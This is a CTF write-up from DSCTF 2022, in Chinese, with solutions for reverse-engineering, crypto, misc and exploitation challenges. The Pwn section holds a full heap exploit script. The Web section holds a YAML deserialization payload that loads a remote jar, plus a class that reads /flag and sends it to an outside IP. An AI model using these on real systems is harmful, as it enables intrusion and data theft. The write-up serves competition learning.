Loading

dsctf2022 wp

RE

FFunction

一眼丁真来到myplugin.dll的f函数

是魔改tea和一个base64和一点小加密

密文enc通过函数参数传进来 动调

image-20220715204534980

image-20220715204550958

解tea



#include <stdio.h>
#include <windows.h>
void Decrypt(UINT32 *v, UINT32 *k)
{
    unsigned long n = 32, sum, y = v[0], z = v[1];
    unsigned long delta = 0x79B99E37;
    sum = delta << 5;
    while (n-- > 0)
    {
        z += ((y << 4) + k[2]) ^ (y + sum) ^ ((y >> 5) + k[3]);
        y += ((z << 4) + k[0]) ^ (z + sum) ^ ((z >> 5) + k[1]);
        sum -= delta;
    }
    v[0] = y;
    v[1] = z;
}
int main()
{
    UINT32 key[4] = {0x0BABEC0FE,
                     0x0DEADBEEF,
                     0x0FACEB00C,
                     0xDEADC0DE};
    UINT32 enc[21] = {1544910156, 3520561639, 1344008563, 3410866722,
                      559768053, 1070243559, 2088154567, 3353185465,
                      2567775226, 195762899, 2383595826, 3540499186,
                      3844985123, 4223045420, 3185071075, 2301501006,
                      970811130, 2281630821, 813456992, 873229312, 0};
    Decrypt(enc, key);
    Decrypt(enc + 2, key);
    Decrypt(enc + 4, key);
    Decrypt(enc + 6, key);
    Decrypt(enc + 8, key);
    Decrypt(enc + 10, key);
    Decrypt(enc + 12, key);
    Decrypt(enc + 14, key);
    Decrypt(enc + 16, key);
    Decrypt(enc + 18, key);
    Decrypt(enc + 20, key);
    for (int i = 0; i < 20 * 4; i++)
    {
        printf("%02x", ((char *)enc)[i]);
    }
}

image-20220715204931100

倒着读 高低位拆开 再拼回去

import base64

a="30014006400460044007500230035008600c400a600e6003600c300930016004300340025004400d7007500250086002600f5006300050083007400e3000500a600840055007400970033001600e500a"
import re
ccc=re.findall(".{2}",a)
ccc=[int(i,16) for i in ccc]
fl=""
for index in range(0,len(ccc),2):
    fl+=(chr(ccc[index]+ccc[index+1]))
print(fl[::-1])
print(base64.b64decode(fl[::-1]).decode())
flag="f}l!a!gC{_Ehmtp10ww_erre_tFt1u"
print(len(flag))
f1=""
f2=""
for index in range(len(flag)):
    if index%2==0:
        f1+=flag[index]
    else:
        f2+=flag[index]
print(f1+f2)

flag{Emp0wer_F1}!!C_ht1w_rettu

手动拼一下得了

flag{Emp0wer_F1utter_w1th_C!!}

catchme

安卓 so里面check函数

findcrypto插件定位到aes函数

image-20220715213431742

发现IV和key是一样的

再往上X来到疑似check的地方

image-20220715210857828

直接解不对 注意到好像做了字符串混淆操作

image-20220715211007900

搜索相关函数 找到文章

https://www.anquanke.com/post/id/181051#h3-4

跑脚本即可还原

逻辑就是输入的flag跑一个aes加密 再走一个换表base64

import base64
a =   "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()+/"
ori = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
c = "#pZ%eVSk!QNUlfNIjemL&w=="
r = ""
for x in c:
    r += ori[a.index(x)]
    print(r)
   
   
print(base64.b64decode("2pZ4eVSk0QNUlfNIjemL6w=="))

'\xda\x96xyT\xa4\xd1\x03T\x95\xf3H\x8d\xe9\x8b\xeb'

转为hex da96787954a4d1035495f3488de98beb

image-20220715213229455

替换逗号即可

Pwn

fuzzerinstrospector

题目不存在传统意义上的漏洞,但是在show函数存在以下代码

printf("Bit: %hhu\n", *(unsigned __int8 *)(chunk + *(unsigned __int8 *)(chunk + i) + 8));

这里是根据chunk的前面几个字节的数值来打印后面的内容,所以思路就是在后面从0-256个字节开始排序,那么输出即可泄漏出libc地址。

最后直接发送system地址的值即可

from pwn import *

elf = ELF('./fuzzerinstrospector')
r = process('./fuzzerinstrospector')
# r = remote('39.105.185.193', 30007)
libc = ELF('libc-2.27.so')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'


def create(idx, bit, data):
    bit = list(bit)
    while len(bit) != 8:
        bit.append(0)
    data = data.ljust(256, b'\x00')
    r.sendlineafter(b'choice: ', b'1')
    r.sendlineafter(b'Index: ', bytes(str(idx), encoding='utf8'))
    for i in bit[:8]:
        if i == b'\x00':
            r.sendafter(b'Index: ', bytes(str(i), encoding='utf8'))
            break
        r.sendlineafter(b'Index: ', bytes(str(i), encoding='utf8'))
    r.sendlineafter(b'Bitmap:', data)


def edit(idx, bit, data):
    while len(bit) != 8:
        bit.append(0)
    data = data.ljust(256, b'\x00')
    r.sendlineafter(b'choice: ', b'2')
    r.sendlineafter(b'Index: ', bytes(str(idx), encoding='utf8'))
    for i in bit[:8]:
        r.sendlineafter(b'Index: ', bytes(str(i), encoding='utf8'))
        if i == b'\x00':
            break
    r.sendlineafter(b'Bitmap:', data)


def show(idx):
    r.sendlineafter(b'choice: ', b'3')
    r.sendlineafter(b'Index: ', bytes(str(idx), encoding='utf8'))
    bit = []
    for i in range(8):
        r.readuntil(b'Bit: ')
        bit.append(int(r.readline().strip()))
    return bit


def free(idx):
    r.sendlineafter(b'choice: ', b'4')
    r.sendlineafter(b'Index: ', bytes(str(idx), encoding='utf8'))


data = b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
for i in range(9):
    create(i, '-' * 8, data)
# gdb.attach(r)
for i in range(8):
    free(i)
free(8)
bin_sh = []
for i in '/bin/sh':
    bin_sh.append(ord(i))
for i in range(7):
    create(i, bin_sh, data)
create(7, '-' * 8, data)
# gdb.attach(r)
x = show(7)
y = ''
for i in x:
    y = hex(i)[2:] + y
main_arena = int(y, 16) - 0x60
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']
system = libc_base + libc.symbols['system']

r.recvuntil(b'choice: ')
r.sendline(b'6')
r.sendline(bytes(str(system), encoding='utf8'))

r.interactive()

Web

easy_yaml

http://39.105.38.203:30113/;/load/%3b1 

persondata=!!com.ctf.velocity.Bean.Person%0Aaddress%3A%20%7Bext%3A%20!!javax.script.ScriptEngineManager%20%5B!!java.net.URLClassLoader%20%5B%5B!!java.net.URL%20%5B%22http%3A%2F%2F47.93.248.221%3A8888%2Fyaml-payload.jar%22%5D%5D%5D%5D%2C%20isValid%3A%20false%2C%20street%3A%20null%7D%0Aage%3A%20null%0AisLogin%3A%20false%0Ausername%3A%20null
python -m http.server 8888
nc -lvp 2333

恶意类

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
//            Runtime.getRuntime().exec("curl -T /flag 47.93.248.221:2333");
            new java.net.URL("http://47.93.248.221:2333/?a="+new java.io.BufferedReader(new java.io.FileReader("/flag")).readLine()).openConnection().getInputStream();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

1

Crypto

picproblem

利用dp泄露先获取一下hint,得到kn=8

import libnum
import gmpy2

e= 65537
n =  85413323752199019806030766630760449394238054889872415531186815348349883843039718091361611175963675771467536496812507338620957273406076058263122453235926619595761737396698699834116678598534261542535530241537247151318756003375573850725841254167462648747492270335084402716816450008370008491069875351593380154253
dp =  1576424214336939000475035870826282526256046059505538052583882122452307602095912733650442447289122473348318614749578285418144935611098423641334952097553125
c =  53653254613997095145108444611576166902006080900281661447007750088487109015427510365774527924664116641019490904245926171500894236952984157500461367769566121581870986304353174732328118576440353500038670030097108081972287049673200783198844842527470746431369314585103203118824985764754487936404004696485346196488

for i in range(1,65535):
    p = (dp * e - 1) // i + 1
    if n % p == 0:
        q = n // p
        break
print(p)
print(q)
phi = (p - 1) * (q -  1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(m)
hint = libnum.n2s(int(m)).decode()
print(hint)

接着求解一下佩尔方程,得到xy的值

def Pell(D):
    temp = continued_fraction(sqrt(D))
    for i in range(100000):
        denom = temp.denominator(i)
        num = temp.numerator(i)
        if num ^ 2 - D * denom ^ 2 == 1:
            return num, denom
    return None, None
Pell(903751)

# (x, y) = (1524993807674193841904821512553946379967374698278296055158206699585083472817489721493862711615915407326315660670541801753616900039772802728925226091475860689682871555641241500183892397513037971186709123629077584204226084524811673794984687840178772052545441242927492902583547355565525538664836516589721942980577095421561886873928634330640979800040574060218872787212426630202508118484269553983399179155489583316400107655564222453437462724749097265122300644936717434151331633092585140183510349369422527440264746843972834927860065578557836150798690530172694679514231722613822246810010130005324032492360889531553803832398604563088256410481865243771216990603166993198935358471831328395618477974126824762560872337594997394218234427050399655270848385995088586420526886397320949350980406936200217112040971433660322179072288438842964957568719036794320203116263329623589339367497303140938070334557345834226085189140858264388063745189833584962825509843279678826240558480527560, 1604145232044543633656616254647708451166351104281510395737885491696385806407267633308545985473789119651681711082023113933085624628557168423578747544761597312012713558891523798820667618256495398479378172124019360339427592449217208805888502769358288779859969965560832505104388955091637704481336716722418336373334467787371085728212260231330510705797124224353810509272250940285165605853594811893804251478850270703294638335268305881655491870226553141286503109543313414279220480589704210363277523457948607498351377843904335637032510420141505975997452077477296326035048463179997347136990808017374750824810458605412236391952910679246288287664717533857743462935708681309073915761377477454479206054016260422865457862565353002789887917196437750618212918420129464330488021272187952177063175896447842395209693304502304253471733746765257510395226972224876277717457205220726240042035259947453816668460757995771018155703600926745905595162857982860955545877343914746294034180707)

最后根据给出的加密代码写出对应的解密代码即可,得到flag图片:flag{yes_you_finish_it!!!}

import matplotlib.pyplot as plt
from PIL import Image
from Crypto.Util.number import *
from numpy import array, zeros, uint8
import gmpy2 as gp
import cv2

kn = 8
(x, y) = (1524993807674193841904821512553946379967374698278296055158206699585083472817489721493862711615915407326315660670541801753616900039772802728925226091475860689682871555641241500183892397513037971186709123629077584204226084524811673794984687840178772052545441242927492902583547355565525538664836516589721942980577095421561886873928634330640979800040574060218872787212426630202508118484269553983399179155489583316400107655564222453437462724749097265122300644936717434151331633092585140183510349369422527440264746843972834927860065578557836150798690530172694679514231722613822246810010130005324032492360889531553803832398604563088256410481865243771216990603166993198935358471831328395618477974126824762560872337594997394218234427050399655270848385995088586420526886397320949350980406936200217112040971433660322179072288438842964957568719036794320203116263329623589339367497303140938070334557345834226085189140858264388063745189833584962825509843279678826240558480527560, 1604145232044543633656616254647708451166351104281510395737885491696385806407267633308545985473789119651681711082023113933085624628557168423578747544761597312012713558891523798820667618256495398479378172124019360339427592449217208805888502769358288779859969965560832505104388955091637704481336716722418336373334467787371085728212260231330510705797124224353810509272250940285165605853594811893804251478850270703294638335268305881655491870226553141286503109543313414279220480589704210363277523457948607498351377843904335637032510420141505975997452077477296326035048463179997347136990808017374750824810458605412236391952910679246288287664717533857743462935708681309073915761377477454479206054016260422865457862565353002789887917196437750618212918420129464330488021272187952177063175896447842395209693304502304253471733746765257510395226972224876277717457205220726240042035259947453816668460757995771018155703600926745905595162857982860955545877343914746294034180707)

img = cv2.imread(r"C:\Users\95235\Downloads\picproblemd865943d\encflag.jpg")
img_gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
image_array = array(img_gray)
w = len(image_array)
h = len(image_array[0])

x1 = round(x / y * 0.001, 16)
u1 = y * 3650 / x
x2 = round(x / y * 0.00101, 16)
u2 = y * 3675 / x
x3 = round(x / y * 0.00102, 16)
u3 = y * 3680/x
kt = [x1, x2, x3]
tmp_img = zeros(shape=[w, h, 3], dtype=uint8)

for k in range(kn):
    for i in range(w):
      for j in range(h):
        x1 = u1 * x1 * (1 - x1)
        x2 = u2 * x2 * (1 - x2)
        x3 = u3 * x3 * (1 - x3)
        r1 = int(x1*255)
        r2 = int(x2*255)
        r3 = int(x3*255)
    
        tmp_img[i][j] = (image_array[i][j] - ((r1 + r2) ^ r3)) % 256
        
    x1 = kt[0]
    x2 = kt[1]
    x3 = kt[2]

enc_flag_array = Image.fromarray(tmp_img)
enc_flag_array.show()
enc_flag_array.save(r"C:\Users\95235\Downloads\picproblemd865943d\flag.jpg")

MISC

Welcome_to_DSCTF

base64解密

Muti Operations

Level 1:
找到com.apple.sharingd.plist中的lastUpdated键值。2021/10/22_9/14/38

Level 2:
/dev/input/mice的数据结构以3字节为一个单位,每个结构体包含了x、y的相对移动和左中右键的按键状态。
可以使用下面的程序解码:

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char** argv)
{
    int fd, bytes;
    unsigned char data[3];

    const char *pDevice = "./micelog";

    // Open Mouse
    fd = open(pDevice, O_RDWR);
    if(fd == -1)
    {
        printf("ERROR Opening %s\n", pDevice);
        return -1;
    }

    int left, middle, right;
    signed char x, y;
    while(1)
    {
        // Read Mouse     
        bytes = read(fd, data, sizeof(data));

        if(bytes > 0)
        {
            left = data[0] & 0x1;
            right = data[0] & 0x2;
            middle = data[0] & 0x4;

            x = data[1];
            y = data[2];
            printf("%d %d %d %d %d\n", x, y, left, middle, right);
        }   
    }
    return 0; 
}

导出为parsed.txt,再用Python脚本处理下,画出图来:

import turtle
f=open("parsed.txt").readlines()

fp=0

writing=False

turtle.position()
turtle.speed(1000)
turtle.pensize(1)

for line in f:
    x,y,l,m,r=[int(i) for i in line.split(' ')]
    if l==0:
        turtle.pensize(1)
    if l==1:
        turtle.pensize(3)
    turtle.goto(turtle.pos()+(x,y))

input()

得出为CATCHMEIFYOUCAN,解压缩包的密码得到flag。

posted @ 2022-07-17 16:01  FW_ltlly  阅读(377)  评论(0编辑  收藏  举报